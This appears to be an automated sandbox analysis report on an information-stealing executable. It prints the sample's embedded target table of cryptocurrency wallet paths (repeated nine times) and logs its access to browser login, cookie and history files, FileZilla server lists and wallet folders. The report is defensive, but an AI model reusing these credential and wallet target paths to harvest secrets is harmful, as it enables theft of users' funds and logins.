Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

